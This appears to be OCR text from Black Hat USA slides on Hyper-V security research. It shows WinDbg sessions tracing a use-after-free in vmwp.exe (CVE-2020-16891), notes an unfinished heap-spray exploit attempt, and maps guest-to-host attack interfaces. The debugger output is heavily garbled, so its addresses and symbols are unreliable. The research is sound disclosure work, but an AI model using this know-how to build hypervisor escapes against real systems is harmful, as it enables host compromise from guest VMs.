Child-5P Retiddr Call Site
00000064  0067£f240 00007££7° 06213235 vmwp!VndCompletionHandler: :HandleVndCallback+0xzaae
00000064 0067£d50 00007££7°0625£705 wmnwp!VndCompletionThread: :RunSelf+0=x105
02 000000647 0067£dd0 0O000D7££7°0625f6c8 vmwp! <lambda_0d2132334fa52e9e02abelebc85d8104> : (operator( )+0x19
03 00000064  0067£fe00 00007ffa ccallffa vmwp!Vml: : VmThread: :OnRunThread+0x28
04 000000647 0067fe40 00007ffa " cf1b81fd4 ucrtbase!thread_start<unsigned int (___cdecl#*®)({void * _ ptred)>+0x3a
05 00000064 0067fe70 00007ffa " d095a251 KERNEL3Z2!|BaseThreadlnitThunk+0x14
06 00000064 0067feald 0O0OODO0OOO 00000000 ntdll!RtlUserThreadStart+0=x21

00000181 1b47=4f0 00000181 1b47=480 000001817 1bB50d6S
0oD00181°1b47e500 000000017 00000002 OOOOODOR4°000O00OOB
oopoo181°1b47e510 ffffffff°81420951 00000000 OOOODOOOO
0oD00181°1b47e520 000000007 00010296 0OOOOQOOOTOOOOOOOO
000001817 1b47e530 00000000 QODOOQOOOY1 OQOOOQOOOOTOQOOOOOOO
00000181 1b47=540 00000000 0DO0OOOQ0D OQOODOOOO OOOODOOOO
000001817 1b47e550 00000000 QOOOQOOOQO QOOOQOOOOTOQOOOOODOO
00000181 1b47e560 f££££fc900° 01905004 00000000 OOOOOQOOD
0oo00181°1b47e778 000000007 00000000 OOQOOOQOOOTOOOOOOOO
ooQo0181°1b47e788 000000007 QOO0QOOOQ0 OQOOOQOOOOTOQOOOOOOO
00000181 1b47e798 00000000 0DO0OOOQ0D 0OODO181°1b472878
000001817 1b47e7a8 000000007 Q0DO0QOOOQ0 OQOOOQOOOOTOQOOOOOOO
00000181 1b47e?7b8 00000000 0QOQO0O0000 OOQOOOQOOO OOOOOOOO
0opo0181°1b47e7c8 000000007 QDOOOOOO OQOOOOOOOTOOOODOODOO
Qoo00181°1b47e7d8 00000000  QOQOOO0O000 OOOOOQOOOTOOOOOOOO
00000181 1b47e7e8 000000007 Q0000000 OQOOOQOOOOTOQOOODOOOO
00000181 1b47e7£8 00000000 0DO0OOOQ0 OQOODOOOO OQOOODOOOO
0000181 1b47e808 000000007 QOOOQOOOQ0 OQOOOQOOOOTOQOOOOOOO
00000181"1b47=818 00000000 00000000 QOODOOOO*OOOODOOOO
0opo0181°1b47e828 000000007 0ODOOOOOO OQOOOOOOOTOOOODOODOO
QoD00181°1b47e838 000000007 00000000 OOOOOQOOOTOOOOOOOO
0ooo0181°1b47=848 00000000 QDOOQOOOD OQOOODOOOOTOOOODOODOO
00000181 1b47e858 00000000 0ODO0OOOQ0O OQOOODOOOO OQOOODOOOO
00000181 1b47e868 000000007 Q0DOOQOOOQ0 OQOOOQOOOOTOQOOOOOOO
9 Id: ab0.884 Suspend: 1 Teb: 00000064 7££2b000 Unfrozen

Start: ucrtbase!thread_start<unsigned int (___cdecl#*)({void * _ ptred)> (00007ffa ccallfcl)

Priority: 0 Priority class: 32 Affinity: f££000
viwp ! EmulatorVp: :ActuallvittemptEnulation+0=2b3:
00007££7 06215023 e898d7ffff call vmwp! EmulatorVp: :FlushCaches (00007£f£7 062127c0)
0:009> dg poi(l1l81°1b47e878+30)-60

sooseiet 1okt o bt eeeeer st —— KEY REF COUNTER
00000181° 1c5c5c20 0ooo0ooo

00000181° 1c5c5230 000000007 00000000 00000000 0000000D = =

00000181 1cS5c5c40 00000181°1b850dd0 00007££7° 06432038

00000181 1c5chceS0 000000007 0D0DOOO0D0D 00000000 00000000

00000181 1c5c5c60 00007££7°0638a418 00007££7°0638a3cO

00000181 155270 00007££7 06382368 000000007 00000000

00000181 1c5c5c80 000000007 00000004 000001817 1chf7ach

Aq @rc=+0=288 L?0=20;~."
. .echo ;g:;"

BHUSA @BlackHatEvents




CV

dec

rcx=000001811c7==490

KEY REF_COUNTER was decremented by 1 here.

oooo oo o

b =

bp vmwp!Enu
bp vmwp!Emu
bp vmwp!Vnd
bp vmwplo_f
bd 0 3

bl

d Enable Cl
e Disable C
e Di=sable C
d Enable Cl
g

13 Id: ab0.lcbc Suspend:

Start:

FPriority: 0O
# Child-SP

00 o0o00DO0OG4°
01 0000DO0DG4"
02 00000064°
03 0000DODE4"
04 0000DO0DG4"
05 0000O0DE4"
06 0000DOOG4°

ooooo1lsl”
poooolsl”
gooooial”
poooolsl”
00ooo181”
pooooisl”
ooooo1sl”
poooolsl”
poooolstl”
00ooo181”
poooolsl”
00ooo181”
goooolsl”
ooooo1lsl”
poooolsl”
ooooo1lst®
poooolstl”
00ooo18L”
poooolsl”
ooooo1sl”
ooooolsl”
ooooo1lsl”
poooolsl”
oooooisl”

9 Id:

Start:

1b47=410
1b47=500
1b47e510
1b47=520
1b47=530
1b47=540
1b47e550
1b47=560

1b47=778
1b47=788
1b47=798
1bd47e7a8
1b47=7b8
1b47=7c8
1b47=7d8
1b47=7e8
1b47=7£8
1b47=808
1b47=818
1b47e828
1b47=838
1b47=0848
1b47=858
1b47=868
abl. 884

Priority: 0O

1 Teb: 00000064 7££33000 Unfrozen

FPriority class: 32
RetAddr

0067f=240 00007f
0067fd4d50 00007f
0067£dd0 00007f
0067fe00 00007f
0067fed0 00007f
0067f=70 00007f
0067feal 000000

ooooo1lst”
pooooool”
EEEfEE£££°
pooooooo®
oooooooo®
pooooooo®
oooooooo®
ffffco00°

opoooooo”
oooooooo®
opoooooo”
oooooooo®
gooooooo®
oooooooo®
oooooooo”
oooooooo®
opoooooo”
oooooooo®
opoooooo:®
oooooooo®
oooooooo”
oooooooo®
oooooooo”
oooooooo®

Suspend:

£7°06213e3
£7 0625£70

£7 ' 0625f6c8
fa ccallffa

fa'cflb81lf
fa'd095a25
00" oo00000

1b47=480
ooooonoz
81420951
00010296
oooooonl
ooooo0noo
oooooo0o
01305004

0Oooooo0o
00000000
0Oooooo0o
00000000
00000000
0ooooo0o
00000000
0ooooo0o
0ooooo0o
00000000
0ooooo0o
0ooooo00o0
00000000
0ooooo0o
00000000
ooooonoo

ucrtbase! thread_start<unsigned int (_ _cdecl#*)(void * _ ptred):> (00007ffa " ccallfcl)

Affinity: f££000

Call Site
5 vmwp!VndCompletionHandler: :HandleVndCallback+0=aae
5 vmwp!VndCompletionThread: :RunSel{+0x105%

vmwp! <lambda_0d2132334fa52e9%02abelebc85d8104 > : :operator( )+0x19
vawp! Vml: :VmThread: : OnRunThread+0x28

4 ucrtbaselthread_start<unsigned int {(___cdecl#*)({void * _ ptr6d)>+0=x3a
1 KERHEL32!BazeThreadlnitThunk+0=x14
0 ntdll!RtlUserThreadStart+0=21

ooooo1sl”
000000B4"
gooooooo®
pooooooo®
oooooooo®
pooooooo®
oooooooo®
pooooooo®

oooooooo”
oooooooo®
ooooo1lel”
oooooooo”
oooooooo®
oooooooo”
ooooooo0o”
oooooooo®
oooooooo”
oooooooo®
oooooooo:®
oooooooo”
oooooooo”
oooooooo”
ooooooo0o”
gooooooo®

1b850b58
pooO0O0OO0ODS
iy
0o00O0O0OD
00000000
0ooOo0OO0O0O
00000000
0o0O0O0O0OD

00000000
00000000
1b47=878
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
0poooonoo

1 Teb: 00000064° 7££2b000 Unfrozen

Priority class: 32
vmwp ! EmulatorVp: (ActuallvAttenptEmulation+0=2b3:
1 vnwp! EmulatorVp: ;FlushCaches (00007f£7 062127c0)

“oooooooo
"1b850bcO
oooooooo
‘06382418
06382368

00DD7££7 06215023 =898d7££ff cal
0:009:> d 01(181°1b47=878430)-60
00000181 1c7e=490

0ooo01lsl lc/esdal

00000181 1c7e=4b0 00000000

00000181° 1c?ee=d4c0 00000181

00000181 1c?e=4d0 00000000

00000181  1c?eedel 00007££7

00000181 1c7e=4f0 O00007££7

00000181 1c?=e=500 00000000

0:009> dg 00181 1c76c990

00000004

ucrtbase! thread_start<unsigned int {(__cdecl#*)(void * _ ptr6ed)> (00007ffa " ccallfcO)

Affinity: £££000

ooooo0oo

00007££7°
ooooQooo:®
00007££7°
ooooooono”
ooooolstl”

00007££f7 06385458 00000000 0OOOOD KEY REF OUNTER
01000001° 07000001 00000000 - _C

oooooooo
06432038
oooooooo
0638a3c0
ooooo0oo
1c76c990

Aq @rc=+0=288 L?0=20;~."
. .echo ;g:;"

1
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0:009> dg 00181 1c76c990
00000181 1c76c990 00007££7 06389d78 0000001b° 00000001
00000181 1c76c9a0 (00000181 1H8S0L40-OOREF 7 B6261e20

00000181  1c76c9b0 00000181 lc7e=490 00000000 £8800000 VmbcommmiOHandlerAdapter Ob

00000181 1c76c90 00007££7 06257490 00007££7 06257010
00000181 1c76c9d0 000000147 0000002 000000207 00000076
00000181 1c76c9% =0 000000137 0000001d 0000001 0000002c
00000181 1c?6c9£0 000000167 00000026 00000027 00000013

000001817 1c76cal0 000000147 00000092 000000237 00000014
0:009> lheap - 181 1b850b40
Failed to read heap keySEGMENT HEAP ERROR: failed to initialize the extention
Entry User Heap Segment Size PrevSize Unused Flag=s
gfgggi g; v;1[][][][][]1811]385[]133[] 000001811b850b40 000001811b3b0O0O0D0 0O0001811b85S1£f60 bo - 10 LFH:busy
0:009> bp vi¥0. 009> bl
0:009> bp vmd™ """0 3" Enable C1 00007££7° 06215000 0001 (0001) O |EmulatorVp: :Actuallyh Enulation+0x290
0:009> bp wvm nable ear . { ) c¥¥%¥ ynwp!EmulatoryVp: tactuallvattemptEmu athn+ b4 .
0-009s bd 0 1l  Disable Clear 00007££7 06215023 0001 (0001) 0;%**xx yuyp!EmulatorVp: ActuallvittenptEmulation+0=x2b3 "dg @rcx;
0:009s bl 2 & Dizable Clear 00007f££f7°0621491e 0001 (0001) O:%*%x%xe ynwp! VndCompletionHandler: :HandleVndCallback+0xaae ".echo
: 0 d Ena 3 d Enable Clear 00007f££7 0626b474 0001 (0001) O:%xxx yvnwplo _free "r rox.;™."
1 e Dis{d:D03> bd 12 q @rcx+0x288 L70x20:~. "
% s E;i vmwp ! EmulatorVp: :FlushCaches: -echo :g:
0:0095 g 00007££7° 0621270 4053 push rbx
: 0:009> pc
vnwp ! EmulatorVp: FlushCaches+0x9:
D0007££7°062127c9 =8d2390000 call vmwp !EmulatorVp: :FlushInstructionCache (00007f£7 062161lal)
0:009: pc
vnwp ! EmulatorVp: :FlushCaches+0ze:
00007£f£7°062127ce 2821390000 call vnwp ! EmulatorVp: ;FlushGvaTranslationCache (00007f£7°062160£4)
0:009> t
vnwp!EmulatorVp: FlushGvaTranzlat ionCache:
00007££7 062160f4 48895c2408 mow gqword ptr [r=p+8)].rbx ==:00000064°0047£300=000001811b47e4f0
0:009> pc

vmwp ! EmulatorVp: (FlushGvaTranslationCache+lx9e:
00007££7 06216192 ££15b8251800 call gword ptr [vmwp!_guard _dispatch_icall fptr (00007f££7 06398750)] d=:00007££7 06398

0:009» u rax
vnwp ! VHD HANDLER CONTEXT: : RemoveReference:

00007££7 0626ca20 48832910 sub rox, 10h

00007££7 0626cald =927c9fbif jmp vmwp ! VHND_HANDLER_CONTEXT : :RemoveReference (00007££7 06229350)
00007££7° 0626ca9 cc int 3

00007££7 0626cala cc int 3

00007££7° 0626cab co int 3

00007£f£7 0626caZc cc int 3

00007££7° 0626ca2d co int 3

00007££7 0626cale cc int 3

0:009> dg rc=-60
| 00000181 Ic7=e490 00007££7° 06382458 00000000 00000001 KEY REF ‘ IOUN ?ER
T07000001 HeBEEHEEE0 ooooo0o0o0

00000181 1c7=e4b0 JU000000 00000000° 00000000
00000181 1c7ee4c0 00000181 1b850bc0 00000181  1c5c60a0
00000181 1c7eedd0 00000000 00000000 00000000 00000000
00000181 1c7eedel 00007££7 06382418 00007££7 0638a3c0 IHUSA @BlackHatEvents

00000181 1c7e=d4f0 O0O0007££7 06382368 000000007 00000000
DDDUDlB}:lc?EESDD Opoo0O00D™ 00000004 000001817 1c76c990




0:009> dg 00181 1c76c990

00000181 1c76c990 00007££7 06389478 0000001b° 00000001
00000181 1c76c9a0 : i T LT .
00000181 1076090 00000181 lo7e=430 00000000 8300000 VmbcommmIOHandlerAdapter Ob
00000181 1c76c9c0  00007f£7° 06257490 00007££7° 06257010
00000181  1c76c9d0  00000014° 0000002 00000020° 00000076
_
0:009> bl

0 d Enable Clear 00007f££7 06215000 0001 (0001) O:%=%xx uynwpl!EmulatorVp: ActuallvAttenptEmulation+0x290
1 d Enable Clear 00007££7 06215023 0001 (0001) O:%=*xx vnwp!EmulatorVp::ActuallvittemptEmulation+0x2b3 "dg @rcx=;.echo ——————— ;dg @rcx+0=x28
2 d Enable Clear 00007f££7 0621491e 0001 (0001) O0:%=*xx uynwp!VndCompletionHandler: :HandleVndCallback+0xaae " .echo dec.r rcx;™. k; .echo ;g;"
3 d Enable Clear 00007f£f7 0626b474 0001 (0001) O:%**xx ynuplo_free "r rcx,™~. "
0:009> be 3 =
0:009> p . .
rexqnonnnrericesoean— Free VmbComMmioHandlerAdapter object here
.9 Id: ab0.884 Suspend: 1 Teb: 00000064°7££2b000 Unfrozen
Start: ucrtbaselthread start<unsigned int (_ cdecl#){void # _ ptred): (00007ffa ccallfcl)

Friority: 0 Priority class:

vmwplo _free:

00007££7°0626b474 ££2536ca1200

0:009> k

Child-5SP
oooo00ed”
00000064°
0oo00064"
00000064°
0oo00064"
00000064°
0oo00064"
0o0000064"
00000064
0o0o0o00e4”
Qoo00064"
00000064°
oooo0ooe4”
00000064°
0oo00064"
00000064°
Qooo0o064"
00000064°
00000064 °
00000064°
00000064 °
00000064°
0oo000064"

0047£038
0047£040
0047£070
0047£0a0
0047£100
0047£130
0047£180
0047£1b0
0047£f1e0
0047£220
0047£250
0047£280
0047£240
0047£300
0047£330
0047£380
0047£3d0
0047f6e=0
0047£760
0047£790
0047£7d0
0047£800
0047£830

Q000018
00000181
gooooiel”
oooon1sl”
ooonoilsel”
00000181
gpoooiel”

32
inp

Ret Addr

00007f£7 0622451
00007f£7°06229d04d
00007f£7°06229ce3
00007£f£7°06229b50
D000D7££7 0622946
00007££7 0626157
D0007££7 0625ed63
0D0007££7 06252697
D000D7££7 06229=64
00007£f£7°06229dec
D0007££7 06229459
00007f£7° 06216198
00007££7°062127d3
00007f£7° 06215028
00007f£7°06213bel
00007f£7°0621493e
00007f£7° 06213235
00007££7°0625£705
DO00D7££7 0625f6c8
00007ffa"ccallffa
p0007ffa cf1bB1f4
00007£f£fa"d095a251
00000000 00000000

c/esdall

Affinity: £££000

gword ptr [vmwp!_imp_o_free (00007££7° 06397ebl)] d=:00007££7 06397ebl={ucrtbaselo_free (00007ffa " ccal2780)

Call Site

vnwplo_free

vnwp ! VmbComMmioHandlerAdapter : . "vector deleting destructor ' +0x2f
vnwp! <lambda_881940bl5bdebe2edlbbedl?6125260a> : operator( )+0x1d
vnwp ! Vml : : VmSharableObject : : DecrementContainedObjectCount+0x97
vmwp!Vml : : VmSharableObject : : DecrementlUealklUszerCount+0=8c

vnwp ! ¥ml : : VmSharableObject : : DecrementUserCount+0=zl10e

vnwp | VmbComnVndHand lerAdapter<IVnddnioHandler . VYmbComMmioHandlerAdapter: : :UnregisterCompletionCallback+0=x37

vnwp ! VmbCallback: :NHotifyUnregisterConpletion+0=23

vmwp | VND_HANDLEE _CONTEXT : :UnprepareSelf+0x37

vnwp! < lambda_eb4f552a40£31482828a0106066b7fh1 > ;operator( )+0x14
vmwp!Vml : : YmSharableObject : . Unprepare+0=x20

vnwp ! Vml : : VmSharableObject : : DecrementUserCount+0=f9
vnwp!EmulatorVp: FlushGvaTranslationCache+0=xad

vnwp ! EmulatorVp: :FlushCaches+0x13

vnwp!EmulatorVp: (ActuallvAttenptEnulation+0=x2b3

vnwp ! EmulatorVp: : TryEmulation+0=x48

vnwp! VndCompletionHandler: : HandleVndCal lback+0=ace

vnwp ! VndCompletionThread : :RunSelf+0x105

vmwp! <lambda_0d2132334fa52e% 02abelebc85d8104: ; operator( )+0x19
vnwp ! Vml: : VmThread : . OnRunThread+0=x28
ucrtbasel thread _start<unsigned int (__ cdecl#){wvoid #* _ ptrtd):+0x3a

KERNEL32 |BaseThreadInitThunk+0=x14

ntdll |Rtl1UserThreadStart+0=x21

quoonooo

1c7eedbl

lc7eedc0 00000181
1c7e=d4d0 0000000D0°
lc7esdel 00007££7°
1c7eed4f0 00007££7°
lc7eeS500 O0O0O0O0O0OO0OO0OD°

1b850bc0
poooo0noOD
06382418
0638a368
opooooo4

0oo0noono
gooooiel”
pooooooo”
00007££7°
oooooooo”
opoooniel”

“oooooooo

1cSce0al
opooooon
0638a3c0
opooooon
1=76c990

HUSA @BlackHatEvents



0:009> dg 00181 1c76c990

00000181 1c76c990 0DO0007f££7 06389478 0000001b° 00000001

00000181 1760090 (00000187 IEac b4 T Afiffis-2 A
0:009: bl
0 d Enable Cleaxr 00007f£7 06215000 0001 {(0001) O:=xxx ynwpl!EmulatorVp:  ActuallvAttemptEmulation+0x290
1 d Enable Clear 00007££7 06215023 0001 (0001) 0:%xxx ynwp!EmulatorVp: :ActuallyvAttemptEmulation+0x2b3
2 d Enable Cleaxr 00007ff7 0621491e 0001 (0001) O:%xxx ynwpl!VndCompletionHandler: :HandleVndCallback+0xs
3 e Di=sable Clear 00007f£7 0626b474 0001 (0001) O:%*xx ynyplo_free "r rc=:™." cx+0x28
0:009: be 0O e 9.
0:009> bd 3
0:009: g
{abl.1lcbc): Brealk instruction e=xception — code 80000003 (first chance)
vmwplo _free:
00007££7 0626b474 f£2536cal200 imp qword ptr [vmwp!_imp_ o free (00007££7° 06397ebl)] d=:00007££7 06397ebl4
0:013> g
Breakpoint 0 hit a02780)
vmwp ! EmulatorVp: ;ActuallvAttenptEmulation+0x290: "
QO0007££7° 06215000 488b4008 mowv rax,qword ptr [rax+8] ds:00007££7° 06389df0={vnwp! VmbComVndHandlerAdapteg
0:009: k
¥ Child-SP RetAddr Call Site
00 00000064 0047£330 00007££7 06213bel vmwp!EmulatorVp: (ActuallvAttemptEmulation+0x290
01 000000647 0047£380 00007££7°0621493e vmwp!EmulatorVp: :TryEmulation+0=x48
02 00000064 0047£3d0 00007£f£7 06213235 wvmwp!VndCompletionHandler: :HandleVndCallback+0xace 37
03 000000647 0047f6e0 00007££7° 0625£705 vmwp!VndCompletionThread: :RunSelf+0x105
04 00000064 0047£760 00007£f£7 0625£6c8 vmwp!<lambda_0d2132334fa52e9=02abelebcB85d8104 > .operator( )+0x19
05 000000647 0047£790 00007ffa ccallffa vmwp!Vml: :VmThread: :OnRunThread+0x28
06 00000064 0047£7d0 00007ffa cflbB8lfd4 ucrtbase!thread_start<{unsigned int (__ cdecl#*)(void #* _ ptred)>+0x3a
07 000000647 0047£800 00007ffa " d095a251 KERNEL3Z!BaseThreadlnitThunk+0x14
08 00000D0DG4°0047£830 00000000 00000000 ntdll!RtlUserThreadStart+0x21
o ooa. = rex | Use freed memory
0:009> 'heap —=x 000001811b850bL58 ‘\\\\\\\\
Failed to read heap lkeySEGHENT HEAP ERREOE: failed to initialize the extention
Entry U=zer Heap Segment Size PrevSize Unused Flags
000001811b850bL30 000001811b8B50bL40 000001811b3bLO0O0O0O O000001811bBS1£f60 b0 - 0 LFH:free
00000181 1c7eed4c0 000001817 1b850be0 000001817 1c5c60a0
00000181 1c?ee4d0  00000000° 00000000 0000O000" 00000000
00000181  1c7eedeld O00007££7 06382418 00007f£7 0638a3cl HUSA @BlackHatEvents

00000181 1c7e=d4f0 O0O0007££7 06382368 000000007 00000000
DDDEIDlEl‘l:lC?eeSDD Opoo0O00D™ 00000004 000001817 1c76c990




0:009> dg 00181 1c76c990

0:009> dgs 000001811b8B50b58-18

00000131 1bB850b40 O00007f££7 06389=08 wmwp!VYmbComMmioHandlerAdapter: : witable'

00000181 1b850b48 00007££7°0639b%a0 wvmwp!VmbComApicEoiHandlerAdapter: : vbtable' =290
00000181 1b850bS0 00000000° QOOOOOOO %2b3
00000181 1b850b58 00007££7 06389de8 wmwp!VmbComMmioHandlerAdapter: :  wvftable' k+0xa
00000181 1bB850be0 O0O0007££7 06389dc) wmwp!VmbComMmioHandlerAdapter:: wvitable'

00000181 1b850be8 00000181 1beel060O

00000181 1b850b70 00000181 1c76c990

00000181 1b850b78 00000000° QOOOOOODO

00000131 1bB850bLEB0O0 30303841 00000000

00000181 1b850bBE 000001817 1c=539££0

00000131 1b850L90 O00007f££7 06389d88 wmwp!VmbComMmioHandlerAdapter: : witable'

00000181 1b850b98 00000000 00000000 7eb0+
00000181 1b850ba0 00000000° 02000000

00000181 1b850ba8 O0O0000000° QOOOOOOO

00000181 1b850bb0 00000000° Q0000000

00000181 1b850bb8 00000000° QOOOOOOO [dapte
0:009> u @rip

vnwp ! EmulatorVp: (ActuallvAttenptEnulation+0=x290:

DO00OD7££7 06215000 483b4008 o raZ,.qword ptr [raz+8]

00007££7° 06215004 ££1546371800 call gword ptr [vmwp!_guard_dispatch_icall fptr (00007££7°06398750)]

D0007f££7 0621500a 4989608 now gword ptr [rl1l4+8].rbp

00007££7°0621500e eY9cdfeffff Inp vmwp ! EmulatorVp: (ActuallvAttemptEmulation+0x170 (00007££7° 062l4eel)
00007££7° 06215013 4139beall60000 cmp dvord ptr [rld4+16A0h].edi

00007££7°0621501a 0f84b3feffff je vmwp ! EmulatorVp: (ActuallvAttemptEmulation+0=x163 (00007££7° 06214ed3)
00007££7° 06215020 498bce mov rc=,rld

00007££7 06215023 =B898d7ffff call vmwp!EmulatorVp: :FlushCaches (00007££7°062127c0)

0:009: u @rip-3

vnwp!EmulatorVp: (ActuallvAttenptEnulatijon+0x28d :

al2780)

37

DO00OD7££7 06214£ffd 488b01 mow raZ.gword ptr [rc=]
00007££7° 06215000 488b4008 now rax,gword ptr [rax+8]
00007££7 06215004 ££1546371800 call qword ptr [vmwp!_guard_dispatch_icall_fptr (00007££7 06398750)]
00007££7°0621500a 49896=08 . Tbp
D0007££7 06215002 e9cdifeffff Imp vmwp ! EmulatorVp: (ActuallvAttenptEmulation+0=x170 (00007f£7 0621l4eel)
00007££7° 06215013 4139bealle0000 cmp dword ptr [rl4+16A0h].edi
D0007££7 0621501a 0f84b3feffff je vmwp ! EmulatorVp: (ActuallvAttenptEmulation+0=x163 (00007ff7 06214ed3l) jee
00007££7° 06215020 498bce nov rcx,rld |:
TOUO0I0L 1c/eedcy  OOOOUIRT 1B8GS0BCT UO0001I8T 1cochUal
00000181 " 1c7eed4dld 00000000 OOOOOQOOO OOOOOOOO"OQOOOOOODO
00000181  1c7eedeld O00007££7 06382418 00007f£7 0638a3cl
00000181 1c7esdf0 O0Q0007££7 063B8a368 00000000 0OOOODOODO
DDDDDIB}:lc?EESDD QoooOooO0OD" 00000004 00000181 12762990
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CVE-2020-16891
»Exploit thinking

* Find suitable object for heap Spray In a vmwp.exe process.
»Why failed?

o Still finding~

#BHUSA @BlackHatEvents
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Attack Interface
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Attack Interface

)

Host Kernelpace(Ring 0) Storage

Network
vmswitch.sys storvsp.sys
VMSProxy.sys vhdparser.sys

vmsproxyhnic.sys \ /‘ vhdmp.sys
PCI ___——  VMBUS \ hvsocket

VPCIVSP.SYS vmbusr.sys
vmbkmclr.sys
winhvr.sys

hvsocket.sys
hvsocketcontrol.sys

Hypervisor Ring -1 (hvix64.exe/hvax64.exe)
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(» vmcall
+ MSRs W/R
* APIC Address operation

 Nested Virtual Machine

Interrupt vmcall

Y

vmecall

«  MSRSs virtualization

 APIC virtualization

 Nested virtualization

\* Guest Physical Address Translate
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(" VMCALL 0x5C HVCALL _POST_MESSAGE (vmbus_post_msg)
« CHANNELMSG *

_< * For example : CHANNELMSG_OPENCHANNEL
interrat | ymall CHANNELMSG_CLOSECHANNEL
: etc...

Hypervisor Ring-1 |

vmeall "'“‘e"“"z Process channel Message From Guest

_  ChReceiveChannelMessage
ChmOpenChannel
ChmCloseChannel
etc...

#BHUSA @BlackHatEvents
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( VMCALL 0x5D HVCALL_SIGNAL_EVENT

 hv_netvsc.ko O

»
>

< « hv_storvsc.ko
_ > vmbus_sendpacket
Interrupt vmeall » pci-hyperv.ko

K. hv_sock.ko  _

»

>
<
<

vmcall Interrupt f Network :

* VmsVmNicPvtKmclProcessPacket, VmsVmNicPvtKmclProcessingComplete

Storage :

|

< » VspPvtKmclProcessPacket, VspPvtKmclProcessingComplete
PCI :

* VirtualBusChannelProcessPacket

Hvsocket :

 VmbusTIXPartindicateReceive #BHUSA @BlackHatEvents
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»
>

Interrupt

vmcall

»

>
<
<

vmcall

1/0 read & writeI

v

VMWP.exe

&

Interrupt

Vmconnect.exe

\

\.

( VMCALL 0x5D HVCALL_SIGNAL_EVENT

hv_utils.ko
hid_hyperv.ko, hyperv_keyboard.ko, hyperv_fb.ko
hv_balloon.ko

Remote Desktop Virtualization device

(" Integration Services :

vmicvdev.dll vmiccore.dll

Keyboard, Mouse, Synthetic Video :

vmuidevices.dll

Dynamic memory :

vmdynmem.dl|

Remote Desktop Virtualization :

vmconnect.exe

> vmbus_sendpacket

#BHUSA
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Concluding Thoughts

»Hyper-V still has low-hanging apples.
>t makes more sense to find a way to exploit Hyper-V.

>t makes sense to pay attention to Hyper-V updates. New features/new
updates of some components may make It easier to find vulnerabilities.
It is a easy way of Bug Hunting®.

#BHUSA @BlackHa tEvents
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Concluding Thoughts

Potential Attack Interface

Packet Direct functions in vmswitch.sys
Network Direct device

PCl Pass-Through
Hypervisor nested virtualization

V.V V V

HV_ND_GUID \
.guid = UUID LE(@x8c2eaf3d, ©@x32a

Function name

|E| VmsVmPDCreateQueue

(7] VmsVmPDDeleteQueue

7] VmsVmPDFlushBucket

7] VmsVmPDFlushBuckets

[F] VmsVmPDFlushQueue

7] VmsVmPDInitializeGuestPacketDirect

Segm &I
dext
dext
dext
dext
dext
dext

| text

7] VmsVmPDPvitChannelDeleteAllChannels
(7] VmsVmPDPvtCommitAndUnbindPDBuffer
[¥] VmsVmPDPvtKmclChannelClosed

7] VmsVmPDPvtKmclChannelOpened

7] VmsVmPDPviPrepareBucket

(7] VmsVmPDPviSendRevokePDMessage

7] VmsVmPDPviSendSwitchDatapathMessage
7] VmsVmPDPviShutdownWorkltem

(7] VmsVmPDPviTeardown

[ 7] VmsVmPDRecyclePDBuffersBoundTaVm
[¥] VmsVmPDReturnPDBufferBoundToVm

dext
dext
dext
dext
dext
dext
dext
dext
dext
dext
dext

#BHUSA
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Thank you for listening!

Twitter : @rthhh17
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